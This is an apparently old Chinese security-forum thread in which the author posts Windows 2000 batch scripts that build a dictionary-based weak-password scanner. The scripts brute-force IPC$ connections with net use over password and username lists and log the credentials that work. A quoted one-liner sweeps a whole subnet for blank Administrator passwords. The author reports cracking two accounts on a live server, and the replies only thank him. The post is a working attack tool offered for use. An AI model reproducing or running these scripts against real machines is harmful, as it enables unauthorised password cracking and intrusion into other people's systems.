|
![]() | 作者: ypy [ypy]
![]() |
登录 |
Win2k命令行下自做弱口令扫描器 作者:ypy QQ:104453104 Email:ypy_811@eyou.com 若转载请注明作者信息 几天前在安全焦点上看见web_wolf的一篇帖子“173字节的nt_server弱口令扫描器”内容如下: 批处理文件test.bat ------------------- @echo off echo 格式:test *.*.*>test.txt for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G\ipc$ "" /use:"Administrator" | find "命令成功完成" >>test.txt 这个批处理文件的功能是对你指定的一个C类网段中的254个ip依次试建立帐号为administrator口令为空的ipc$连接,如果成功就把结果记录在test.txt。短短173字节,就实现了弱口令扫描的功能! 惊叹web_wolf思维之独到并感慨吾等菜鸟何日能成正果之时,不禁也有所悟:win2k命令行命令也可以用来远程破解NT弱口令! 我们知道,在win2k命令行下有个for命令,其功能是对一组文件中的每一个文件执行某个特定命令,也就是可以用你指定的循环范围生成一系列命令。 For命令的格式为: FOR %variable IN (set) DO command [command-parameters] 当然,for命令最强大的功能,表现在它的一些高级应用中。譬如可以用 /r 参数遍历整个目录树;可以用 /f 参数将文本文件内容作为循环范围;可以用 /f 参数将某一命令执行结果作为循环范围等等。在这里我不一一说明其用法,如果你不熟悉for命令,可以参考相关资料教程。 For命令应用最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令如果我们把密码做为循环值,把net use命令作为指定命令。那将会产生什么样的效果呢?请看下面的命令: for /l %i in (100,1,999) do net use \\ip\ipc$ "%i" /user: "username" 解释一下:username是你用nbtstat得到的用户名,这条命令的功能是对指定username进行3位数纯数字密码依次尝试建立ipc连接,直到建立成功或者数字全部试完。如果你网速够快的话,跑完这900个数字也需要多长时间。 也许你想到了,如果对方密码不是纯数字怎么办?有办法!我们还可以用字典,上面不是提到了可以用 /f 参数将文本文件内容作为循环范围吗? for /f %i in (pass.txt) do net use \\ip\ipc$ "%i" /user:"username" pass.txt是字典文件,其格式为一个密码占一行。例如: 123 1234 12345 abc abcd 这条命令的功能是对指定帐号username用密码字典pass.txt中的密码依次尝试建立ipc连接,直到建立成功或者密码全部试完。 可问题还是有,虽然这样我们碰巧是能连接成功,可我们仍然不知道密码啊,下次要用还得重新全部试过。 我们应该想办法把尝试成功的用户名和密码保存在指定文件才行啊! 以下是我实验后的结果,也许不是什么好方法,但是完全可以实现对指定ip扫描并且把结果保存在指定文件。 由于我们现在要实现的功能不是一句命令所能完成的,所以我们把所有命令写成批处理文件。 先提醒一下,在批处理文件中使用 FOR 命令时,指定变量使用 %%variable,而不是%variable。 将下面内容存为scan.bat: @echo off echo Written By ypy >>%4 echo Email:ypy_811@eyou.com >>%4 echo --------------------------------- >>%4 date /t >>%4 time /t >>%4 echo ---- >>%4 echo Result:>>%4 start "scan…" /min cmd /c for /f %%i in (%2) do call ipc.bat %1 "%%i" %3 %4 exit 将下面内容存为ipc.bat: net use \\%1\ipc$ %2 /user:"%3" goto result%ERRORLEVEL% :result0 echo Remote Server:%1 >>%4 echo Username:%3 >>%4 echo Password:%2 >>%4 echo ---- >>%4 net use \\%1\ipc$ /del exit :result2 ipc.bat中的%ERRORLEVEL%表示取前一命令执行后的返回结果。net use命令成功完成返回0,失败返回2。 将scan.bat和ipc.bat存放于system32目录中,用法如下: scan.bat 主机 密码字典文件 用户名 结果存放文件 例如: scan.bat 192.168.35.17 d:\pass.txt administrator d:\result.txt 密码破解出来之后,存放于d:\result.txt里面。 我稍微解释一下扫描的原理,就是对帐号administrator用密码字典pass.txt中的密码依次尝试建立ipc连接,如果成功,则记录密码,不成功则试下一个密码。 可是细心的你肯定又发现问题了,这样只能指定用户名啊?如果我用nbtstat探测到了十几个用户,就需要打十几遍命令? 既然我们可以从指定文件中循环取密码,那我们也可以从另一指定文件中循环取用户名啊,让我们再来修改一下: 将下面内容存为scan.bat: @echo off echo --------------------------------- >>%4 echo Written By ypy >>%4 echo Email:ypy_811@eyou.com >>%4 echo --------------------------------- >>%4 date /t >>%4 time /t >>%4 echo Result:>>%4 echo ---- >>%4 start "scan..." /min cmd /c for /f %%i in (%3) do call pass.bat %1 %2 "%%i" %4 exit 将下面内容存为pass.bat: start "scan..." /min cmd /c for /f %%i in (%2) do call ipc.bat %1 "%%i" %3 %4 将下面内容存为ipc.bat: net use \\%1\ipc$ %2 /user:"%3" goto result%ERRORLEVEL% :result0 echo Remote Server:%1 >>%4 echo Username:%3 >>%4 echo Password:%2 >>%4 echo ---- >>%4 net use \\%1\ipc$ /del exit :result2 将scan.bat、pass.bat和 ipc.bat存放于system32目录中,用法如下: scan.bat 主机 密码字典文件 用户字典文件 结果存放文件 例如: scan.bat 192.168.35.17 d:\pass.txt d:\user.txt d:\result.txt 其中用户字典文件user.txt的内容是你用nbtstat探测到的所有用户名,其格式和密码字典文件一样,一个字符串占一行。例如: administrator admin ypy 这样扫描的原理是对用户字典user.txt中的每一个用户,同时用密码字典pass.txt中的密码依次尝试建立ipc连接,如果成功则记录用户名和密码,如果不成功就试下一个密码。 现在是不是有点对user.txt中的用户暴力跑ipc获得密码的味道啊?呵呵。我用这个简单弱口令扫描器挂了一个xkey做的字典扫一台有八个用户的win2k server,还真扫出了两个密码!而且速度很快! 好了,在Win2k命令行下简单做弱口令扫描器的方法就先介绍到这里,可能还有许多种更简单的方法能实现相同的功能,你可以去尝试一下。 事实上,当微软从win2k开始将命令行增强后,借鉴了相当多unix的优点,虽然还不至于像unix那么灵活,但可以实现的功能已相当之多。 写本文是希望起到介绍和抛砖引玉的效果。所以没有实验更多功能,故给出几点说明: 1.不能对指定网段扫描。 2.此扫描原理是用帐号和密码循环建立ipc$连接,因此如果对方没开139端口或者删除了ipc$共享,那就不能工作了,呵呵。 3.扫描方式是用户字典中的用户名同时在挂密码字典跑ipc,由于不允许一个用户使用一个以上用户名与一台 服务器或共享资源多重连接,导致有的的帐号密码本应该真确的可返回的结果为失败,所以有时候会漏报。 但是如果你的字典中帐好和密码至少有一对正确的话,那至少能记录一对正确结果。 4.文中所有例子在win2k server和win xp上通过测试。 |
地主 发表时间: 01/29 15:34 |
![]() | 回复: laievf [laievf] ![]() |
登录 |
收获不小啊!~~ |
B1层 发表时间: 01/29 15:44 |
![]() | 回复: jiantian [jiantian] ![]() |
登录 |
很有收获,谢谢 |
B2层 发表时间: 01/29 23:15 |
![]() | 回复: junjuntop [junjuntop] ![]() |
登录 |
呵呵,自己写的!~ 不错,有点启发 |
B3层 发表时间: 01/30 09:56 |
![]() | 回复: junjuntop [junjuntop] ![]() |
登录 |
呵呵,自己写的!~ 不错,有点启发 |
B4层 发表时间: 01/30 09:57 |
![]() | 回复: ypy [ypy] ![]() |
登录 |
我的荣幸 |
B5层 发表时间: 01/31 00:02 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号